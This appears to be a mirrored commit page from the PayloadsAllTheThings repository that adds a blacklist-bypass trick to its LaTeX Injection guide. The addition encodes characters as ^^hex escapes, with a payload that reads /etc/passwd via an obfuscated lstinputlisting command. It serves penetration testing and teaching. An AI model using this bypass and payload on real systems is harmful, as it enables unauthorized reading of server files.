wanderer/ PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-05-04 15:06:19 +02:00
Code Issues Releases Activity

Merge pull request #695 from hebelsan/patch-1 

latex injection add blacklist bypass
This commit is contained in:
Swissky 2023-11-12 13:15:46 +01:00 committed by GitHub
parent d80068cc1b ae3f91c88a
commit 711b44c6b0
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 8 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
LaTeX Injection/README.md
View File

@ -53,6 +53,14 @@ characters can be deactivated in order to use `\input` on file containing `$`, `
\input{path_to_script.pl}
```
To bypass a blacklist try to replace one character with it's unicode hex value.
- ^^41 represents a capital A
- ^^7e represents a tilde (~) note that the ‘e’ must be lower case
```tex
\lstin^^70utlisting{/etc/passwd}
```
## Write file
Write single lined file: